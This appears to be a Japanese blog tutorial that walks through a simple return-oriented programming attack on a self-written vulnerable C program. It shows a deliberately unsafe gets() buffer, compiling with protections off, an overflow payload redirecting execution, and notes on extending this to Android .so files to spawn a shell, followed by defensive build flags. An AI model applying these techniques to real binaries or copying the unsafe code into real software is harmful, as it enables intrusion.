Hello there, ('ω')ノ
🧪 使用する環境(安全な検証用)
以下のような環境を用意しましょう:
| 項目 | 推奨 |
|---|---|
| OS | Kali Linux や Ubuntu(64bit) |
| ターゲット | 自作Cアプリ(ROPが再現しやすいように設計) |
| ツール | gcc, objdump, gdb, ROPgadget, pwntools など |
| 実行環境 | Android実機ではなくLinuxローカルで再現するのが安全かつ簡単 |
🔧 Step 1:脆弱なCコードの作成
まず、ROPが成立しやすいような単純なCコードを用意します。
// vuln.c #include <stdio.h> #include <string.h> void secret() { printf("ROP Success! You reached secret()\n"); } void vulnerable() { char buffer[64]; printf("Input: "); gets(buffer); // ★バッファオーバーフロー可能 } int main() { vulnerable(); return 0; }
重要ポイント:
gets()を使っていて境界チェックなしsecret()という関数がある(直接は呼ばれていない)- ROPではこの
secret()にジャンプさせることを狙う
⚙️ Step 2:コンパイル(保護をオフに)
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
これで「スタック保護なし」「ASLR・PIE無効」「実行可能スタックあり」の実行ファイルができます。 → ROP攻撃が成立しやすい設定です。
🔎 Step 3:バイナリの解析
✔️ secret() のアドレスを確認
objdump -d vuln | grep secret
結果例:
080484b6 <secret>:
→ このアドレスをリターンアドレスとしてスタックに仕込めば、ROP成功!
📦 Step 4:Payloadの作成
✔️ オフセットの確認
まず、buffer がスタック上のどこにあるか調べ、何バイト目でリターンアドレスを上書きできるかを確認。
例として、以下のように64バイト+4バイトのオフセットが必要と判明したとしましょう。
payload = b"A" * 68 + b"\xb6\x84\x04\x08" # Little endian
→ secret() のアドレスをリトルエンディアン形式でスタック上に置く
🚀 Step 5:ROPの実行(攻撃)
python3 -c 'print("A"*68 + "\xb6\x84\x04\x08")' | ./vuln
実行結果:
Input: ROP Success! You reached secret()
✨ 成功! バッファオーバーフローを利用して secret() を実行できました。
🧠 この例の意味と応用
今回の再現はあくまで「ROPの最も単純な形」です。
実際のAndroidアプリ(NDK使用)の .so ファイルでは、以下のように応用されます:
- ガジェットの組み合わせで system() や execve() を呼ぶ
- 実際に文字列
/system/bin/shを使ってシェル起動 - Fridaなどでガジェットやレジスタ状態を観察しながら組み立て
🛡️ 防御策の確認(開発者視点)
| 対策 | 方法 |
|---|---|
| Stack Canary | -fstack-protector を有効にする |
| NX Bit(非実行領域) | -z noexecstack |
| ASLR | OSレベルで有効化(Androidは基本有効) |
| PIE(実行ファイルランダム化) | -fPIE -pie を使用してビルド |
✅ まとめ
- ROP攻撃は、既存の命令を“再利用”して任意の処理をさせる攻撃
- 今回は簡単な Cコードを例に、ROPがどのように成立するかを体験した
- 実際の診断では、
.soファイルや危険な関数、スタック保護の有無を確認し、「ROPの土壌」があるかを見極めるのがポイント - セキュアなビルドオプションとメモリ保護の導入が、第一の防衛線!
Best regards, (^^ゞ